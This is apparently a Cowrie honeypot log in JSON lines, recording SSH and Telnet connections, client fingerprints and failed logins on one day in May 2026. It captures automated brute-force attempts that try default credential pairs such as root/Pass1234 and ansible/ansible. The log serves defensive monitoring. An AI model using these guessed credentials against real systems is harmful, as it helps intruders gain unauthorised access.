{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:27.353051Z","src_ip":"185.16.214.226","session":"c9eebd3064cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:28.321547Z","src_ip":"45.156.87.254","session":"c1a652ffcb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":39024,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ecd49d74bd","protocol":"telnet","message":"New connection: 20.123.41.163:39024 (10.17.0.5:23) [session: 58ecd49d74bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:28.841819Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58640,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbc2e65eeff1","protocol":"ssh","message":"New connection: 45.156.87.254:58640 (159.203.135.109:22) [session: bbc2e65eeff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:31.682639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:31.687140Z","src_ip":"45.156.87.254","session":"bbc2e65eeff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:31.770121Z","src_ip":"45.156.87.254","session":"bbc2e65eeff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56998,"dst_ip":"10.17.0.5","dst_port":23,"session":"934210131501","protocol":"telnet","message":"New connection: 20.123.41.163:56998 (10.17.0.5:23) [session: 934210131501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:31.876004Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:32.023090Z","src_ip":"45.156.87.254","session":"bbc2e65eeff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:33.109345Z","src_ip":"45.156.87.254","session":"bbc2e65eeff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.834131479263306,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:33.393112Z","src_ip":"20.123.41.163","session":"d272b139a7c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58642,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b6f094c88a","protocol":"ssh","message":"New connection: 45.156.87.254:58642 (159.203.135.109:22) [session: 02b6f094c88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:36.618093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:36.623089Z","src_ip":"45.156.87.254","session":"02b6f094c88a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:36.705714Z","src_ip":"45.156.87.254","session":"02b6f094c88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:36.957375Z","src_ip":"45.156.87.254","session":"02b6f094c88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:38.045949Z","src_ip":"45.156.87.254","session":"02b6f094c88a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34360,"dst_ip":"159.203.135.109","dst_port":22,"session":"f84a6429c808","protocol":"ssh","message":"New connection: 45.156.87.254:34360 (159.203.135.109:22) [session: f84a6429c808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:40.994282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:40.998683Z","src_ip":"45.156.87.254","session":"f84a6429c808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:41.083175Z","src_ip":"45.156.87.254","session":"f84a6429c808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:41.551079Z","src_ip":"45.156.87.254","session":"f84a6429c808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:42.637477Z","src_ip":"45.156.87.254","session":"f84a6429c808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34364,"dst_ip":"159.203.135.109","dst_port":22,"session":"c648153ff85f","protocol":"ssh","message":"New connection: 45.156.87.254:34364 (159.203.135.109:22) [session: c648153ff85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:45.586027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:45.591110Z","src_ip":"45.156.87.254","session":"c648153ff85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:45.675457Z","src_ip":"45.156.87.254","session":"c648153ff85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.23242473602295,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:45.886634Z","src_ip":"20.123.41.163","session":"318c0dd49409","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:45.923219Z","src_ip":"45.156.87.254","session":"c648153ff85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:47.017231Z","src_ip":"45.156.87.254","session":"c648153ff85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47842,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b57ab4a5155","protocol":"ssh","message":"New connection: 45.156.87.254:47842 (159.203.135.109:22) [session: 7b57ab4a5155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.007374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.011939Z","src_ip":"45.156.87.254","session":"7b57ab4a5155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.095826Z","src_ip":"45.156.87.254","session":"7b57ab4a5155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":33264,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa9cbc42847","protocol":"ssh","message":"New connection: 186.30.115.187:33264 (10.17.0.5:22) [session: ffa9cbc42847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.311975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.316464Z","src_ip":"186.30.115.187","session":"ffa9cbc42847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.342893Z","src_ip":"45.156.87.254","session":"7b57ab4a5155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.408683Z","src_ip":"186.30.115.187","session":"ffa9cbc42847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"1234","message":"login attempt [user02/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:50.798639Z","src_ip":"186.30.115.187","session":"ffa9cbc42847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:51.435438Z","src_ip":"45.156.87.254","session":"7b57ab4a5155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:51.895455Z","src_ip":"186.30.115.187","session":"ffa9cbc42847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47848,"dst_ip":"159.203.135.109","dst_port":22,"session":"f17539844c95","protocol":"ssh","message":"New connection: 45.156.87.254:47848 (159.203.135.109:22) [session: f17539844c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:54.406902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:54.412439Z","src_ip":"45.156.87.254","session":"f17539844c95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:54.498163Z","src_ip":"45.156.87.254","session":"f17539844c95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:54.767374Z","src_ip":"45.156.87.254","session":"f17539844c95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:51:55.853424Z","src_ip":"45.156.87.254","session":"f17539844c95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55360,"dst_ip":"159.203.135.109","dst_port":22,"session":"47875eeaecb9","protocol":"ssh","message":"New connection: 45.156.87.254:55360 (159.203.135.109:22) [session: 47875eeaecb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:00.039236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:00.046872Z","src_ip":"45.156.87.254","session":"47875eeaecb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:00.148115Z","src_ip":"45.156.87.254","session":"47875eeaecb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:52:00.417620Z","src_ip":"45.156.87.254","session":"47875eeaecb9","protocol":"ssh"}
